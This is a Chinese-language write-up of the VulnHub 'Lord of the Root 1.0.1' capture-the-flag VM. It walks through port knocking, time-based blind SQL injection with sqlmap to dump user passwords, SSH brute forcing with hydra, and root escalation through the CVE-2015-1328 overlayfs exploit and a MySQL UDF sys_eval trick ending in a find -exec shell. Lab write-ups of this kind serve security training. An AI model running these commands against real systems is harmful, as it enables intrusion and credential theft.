靶机地址:https://www.vulnhub.com/entry/lord-of-the-root-101,129/
靶机难度:中等(CTF)
靶机描述:这是KoocSec为黑客练习准备的另一个Boot2Root挑战。他通过OSCP考试的启发准备了这一过程。它基于伟大的小说改制电影《指环王》的概念。
目标:得到root权限&找到flag.txt
作者:嗯嗯呐

一、信息采集

nmap扫描确定靶机IP地址

扫描靶机对外开放端口,开始信息采集
只扫描出22端口

连接22端口获得提示
knock ftiend to enter(敲门进入)
Easy as 1,2,3

应该是在提示port_knocking(端口试探)的概要。
端口试探的主要目的是防止攻击者通过对端口扫描的方式对主机进行攻击。
端口试探是一种通过尝试连接,从外部打开原先关闭端口的方法。一旦收到正确顺序的尝试连接,防火墙就会打开一些特定的端口允许尝试连接的主机访问。
根据上面提示,我们尝试连接顺序连接1,2,3端口
使用Knock命令 进行尝试连接端口
-i,–interface
指定要监听的接口。默认值为eth0。
-d,–daemon
成为守护程序。这通常是正常的类似服务器的操作所需要的。
-c,-config <文件>
指定配置文件的备用位置。默认值为/etc/knockd.conf。
-D,-调试
Ouput调试消息。
-l --lookup
查找日志条目的DNS名称。这可能会带来安全风险!请参阅“安全说明”部分。
-v,–verbose
输出详细状态消息。
-V,–version
显示版本。
-h,–help
语法帮助。

knock -v 192.168.16.137 1 2 3

再次端口扫描,发现1337端口

web访问1337端口

就一张图,没有什么有用的信息,源代码也没有
根据图中提示,访问MORDOR目录,存在一张图

查看源代码,发现一串加密的字符串

应该是base64编码
解码一下

再次解码

发现一个路径
/978345210/index.php
访问为一个登陆界面

二、SQL注入-基于时间的盲注

通过常用账号密码(admin等)或万能密码("or “a”="a等)尝试了一下
都报Username or Password is invalid错误
看来无法通过报错返回进行注入了
通过sqlmap测试登陆框是否存在sql注入
sqlmap -o -u ‘http://192.168.16.137:1337/978345210/index.php’ --forms
-o 默认开始所有优化项
–forms 自动提交表单
–dbs 查询全部数据库
– tables 查询数据库下的表
–columns 查询表中的字段
–dump 查询内容
通过字段表单提交方式,测试是否存在sql注入


```bash
sqlmap -o -u 'http://192.168.16.137:1337/978345210/index.php' --forms

![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117153514305.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3NoZW55dV8xMTI2,size_16,color_FFFFFF,t_70#pic_center)扫描结果:password 参数存在基于时间的盲注
查询数据库全部的库```bash
sqlmap -o -u 'http://192.168.16.137:1337/978345210/index.php' --forms --dbs

扫描结果:存在4个数据库
查询Webapp库的全部表

sqlmap -o -u 'http://192.168.16.137:1337/978345210/index.php' --forms -D Webapp --tables

查询结果:存在Users表
查询Users表中存在的字段

sqlmap -o -u 'http://192.168.16.137:1337/978345210/index.php' --forms -D Webapp -T Users --columns

查询结果:存在三个字段
查询表中全部数据

sqlmap -o -u 'http://192.168.16.137:1337/978345210/index.php' --forms -D Webapp -T Users  --dump

查询结果:5个账号密码
frodo | iwilltakethering
smeagol | MyPreciousR00t
aragorn | AndMySword
legolas | AndMyBow
gimli | AndMyAxe
使用hydra 爆破一下ssh用户密码

获得用户密码
smeagol/MyPreciousR00t

三、提权

1、内核漏洞提权

查看现登陆账号的权限和靶机内核版本

版本为Linux 3.19.0 Ubuntu14.04.1,找到一个利用overlayfs组件提权的漏洞
CVE-2015-1328

使用searchsploit查询一下,msf中是否有可利用的payload,首先第二行payload利用失败,我使用的是我标记出的payload成功

复制到桌面,

在攻击机启动5555端口,提供下载服务

靶机将payload下载到本地

因为是c语言文件,需要编译为可执行文件,并赋执行权限

cc -o exp3 39166.c

执行编译好的文件,获得root用户,查看root目录下Flag

2、Mysql UDF提权
在上面使用sqlmap利用盲注,查询数据库表时,发现使用的是mysql数据库,
ps -ef | grep mysql
命令查询,发现mysql是root用户启动的程序

在/var/www/978345210目录下login.php文件中发现mysql的dba账号密码

登陆数据库,查看数据库版本号

看看可以不以使用UDF提权,因为mysql是root用户运行的,如果我们提权成功,将获得root权限

show global variables like 'secure%';
 当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出文件,此时无法提权当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出文件只能发生在 /tmp/ 目录下,此时也无法提权当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出文件做限制,此时可提权

查看主机版本及数据库架构,因数据库为i6886,要使用32位udf文件

查看plugin目录地址,此处为上传udf文件地址

可以在msf的/usr/share/metasploit-framework/data/exploits/mysql下,找到udf文件

将文件复制出来,因为是32位架构,所以使用lib_mysqludf_sys_32.so

攻击机启动5555端口,提供下载功能

靶机下载文件

连接数据库,进入一个库


创建一个表,用来存储udf文件内容

将udf文件插入到temp表中

在/usr/lib/mysql/plugin/目录下,新建一个udf32.so文件,将表中数据存入

将udf32.so文件导入数据库,定义一个函数名称sys_eval

使用sys_eval函数,执行linux命令

提权成功,给find命令赋予普通用户使用可以暂时获取root用户使用权限

通过find命令的 exec参数,获取root的shell

find 1.txt -exec '/bin/sh' \;

-exec,find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为command {} ;,注意{ }和\之间的空格 。
{} : find找到的内容 。
; 是bash的特殊意义,就用反斜杠转义。

查看/root/目录下Flag.txt文件

完成!!!

四、总结

此次靶机主要考察端口探测、盲注、提权等技术,过程不复杂,思路也比较明确。此靶机存在很多渗透方法,上面只是一种,仅供参考。本文章渗透思路如下图:

VulnHub-Lord Of The Root_1.0.1-靶机渗透学习相关推荐

  1. dc-2 靶机渗透学习

    网络扫描 第一步先查看当前网段,进行主机探活 nmap -A -p- -v 192.168.202.0/24 发现80.7744端口开放 访问192.168.202.131来看看网站的80端口是啥,可 ...

  2. dc-3 靶机渗透学习

    靶机修复 dc-3靶机可能会存在扫不到靶机ip的问题,可以参考下面这篇博客解决,编辑网卡配置文件时命令有点错误. vim /etc/network/interfacers 改成 vim /etc/ne ...

  3. Vulnhub靶机渗透学习——DC-9

    本文仅个人学习所做笔记,仅供参考,有不足之处请指出! vulnhub靶机 vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试.提权. ...

  4. 6-vulnhub靶场-LordOfTheRoot_1.0.1靶机内核提权udf提权缓冲区溢出提权

    6-LordOfTheRoot_1.0.1 靶机地址 https://www.vulnhub.com/entry/lord-of-the-root-101,129/ 难度 中等(主要是缓冲区溢出) 1 ...

  5. 【VulnHub靶机渗透】三:Billu_b0x

    VulnHub是一个安全平台,内含众多渗透测试的靶场镜像,只需要下载至本地并在虚拟机上运行,即可得到一个完整的渗透测试练习系统,每一个靶机都有相关目标去完成(万分感谢提供靶机镜像的同学). 文章目录 ...

  6. [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可 ...

  7. VulnHub1:Jangow: 1.0.1靶机入侵

    VulnHub1:Jangow: 1.0.1靶机入侵 信息搜集: 扫描端口 发现命令执行漏洞 uname 一句话木马 上蚁剑 提权 方法1 方法2 VulnHub1:Jangow: 1.0.1靶机入侵 ...

  8. [网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.前文分享了APT攻击检测溯源与常见APT组织的攻击案例,并介绍防御措施.这篇文章将讲 ...

  9. 【VulnHub靶机渗透】一:BullDog2

    在网上各位大佬WriteUp的帮助下,成功完成了第一次完整的靶机渗透测试(大佬NB!),现将详细过程及原理做简单整理. 文章目录 简介 渗透步骤 1.主机发现.端口扫描 2.Web扫描.漏洞发现 3. ...

最新文章

  1. JavaScript学习笔记(七)——函数的定义与调用
  2. Serverless Kubernetes 应用部署及扩缩容
  3. MySQL无法修改字段
  4. Android开发中activity切换动画的实现
  5. 马云正传——读书笔记
  6. html5 plus与vue,基于Html5 Plus + Vue + Mui 移动App 开发(二)
  7. 第一章:WTL的5个W
  8. Java中如何删除文件呢?
  9. Windows 7 7601.24291(2019版) 全补丁集成版ISO映像,编译于2018年11月10日
  10. Java 获取手机号码归属地以及运营商
  11. php时间正序排序,列表的时间排序,应该正序还是倒序?
  12. react-navigation 6.x 学习(3)
  13. 2022年线上求职!我建了一个AI算法岗求职群
  14. 在Excel中用VB批量生成二维码
  15. 贝叶斯模型的理解(1)
  16. 什么是广播风暴,如何防止局域网环路引起的广播风暴?
  17. C语言0基础全面教程
  18. Oracle导出表结构和表数据
  19. Microsoft Office 2016 镜像文件以及安装步骤
  20. 作物生长模型WOFOST测试

热门文章

  1. 蓝牙音频传输协议简介
  2. c语言中endif的作用,C语言中#ifdef,#ifndef和#endif的作用
  3. 种子数量统计,四种方法,(面积、周长、数据处理1、数据处理2)
  4. 羊了个羊背后的逻辑思维
  5. 【信息安全案例】——设备与环境安全(学习笔记)
  6. 105.液体流加载特效
  7. OOM问题小例子及思考
  8. Python-Django毕业设计公立医院绩效考核系统(程序+Lw)
  9. 线程练习-公司年会,前门后门进出加彩票统计
  10. Materialize - 一个优秀的前端 UI 框架